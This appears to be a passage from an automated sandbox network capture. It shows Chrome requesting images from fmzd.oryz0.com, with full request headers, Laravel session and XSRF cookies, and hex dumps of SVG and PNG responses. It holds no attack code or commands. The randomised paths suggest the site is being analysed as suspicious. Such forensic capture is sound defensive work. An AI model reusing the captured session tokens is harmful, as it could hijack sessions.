2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 2e 30 38 36 31 20 34 31 2e 34 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 Data Ascii: .0861 41.4824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 33 20 34 39 2e 39 30 35 43 34 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 Data Ascii: 3 49.905C44.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 2
2024-05-23 08:31:37 UTC	1225	IN	Data Raw: 32 37 5a 4d 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 Data Ascii: 27ZM17.4868 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.700
2024-05-23 08:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49800	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1458	OUT	GET /yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	658	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YvSFqnwU%2FV3jdjYIjSJiA%2FRvuBKl8vCdx%2BZyHg%2FyNQnRFQeKV1GAjPmxycH%2Bn3LwI%2BSN3NKer2GEkGcoewpySxGXPxYA5fkoTr3MHpCUpx5s9eRQUoks4IgobDEA6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0cf2f405e7c-EWR
2024-05-23 08:31:37 UTC	711	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 Data Ascii: 1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.1
2024-05-23 08:31:37 UTC	832	IN	Data Raw: 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c Data Ascii: .309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,
2024-05-23 08:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49803	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1117	OUT	GET /bftRxKkv3PsBzf1QWLiUOYZ6VtdhMdfdCpGmapVuoYCxCnUeyTVRLL4g HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	579	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CA58A1sYvzGoQfz9qg5ohC%2BUzxD5NXdR4QFm08pKogeZXQVEwKuQ7QVsYWFeQp3%2BK8dkxwoYCfglQMbHs3aGL2MY9v1jVS2ebX0ianiDnxR2eiOjC%2FbjJ6H1IwqObA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0cf3a834384-EWR
2024-05-23 08:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49802	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1480	OUT	GET /opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dG5oiJhwna9QUgYU4QWVVpxzWxP5aT41vzAH4cQZaT3Bp3f76QvG6xr2upDn9g7oZXMCX724Q%2FpxQXw6Sc62ezjVQLXaH86GZHvXrA5Vs0m1bzYNSlK9PU1OO59bLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0cf2ed943e9-EWR
2024-05-23 08:31:37 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-05-23 08:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49805	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1119	OUT	GET /qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	652	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0HrsNOhWCn3vbJq%2B0SfdAQYTiWtcm2CwkO3RsfhmP48SEr2MDhUR2wA6epNpHCeyqj6FoE%2FwIq6rLPOopcpS%2BI6tgeu654YtG5rYxU8aNGOODAlgqhSBcsx8%2FfFIjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d0cf4e18ee-EWR
2024-05-23 08:31:37 UTC	717	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-05-23 08:31:37 UTC	10	IN	Data Raw: 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49804	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1465	OUT	GET /ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	654	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E5fThGebork29EOOpfeA8C%2Bt%2FTxDJIQqBR02NUbEtS%2BMQXJqYC3lwF7z%2FdMeo1kfJupjwnsSYREdvp2YfhQ5I5N6fWo3%2BSg3VKaPYFc99DVj4cgaM0MHmvYzvSJWpQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d0af928c59-EWR
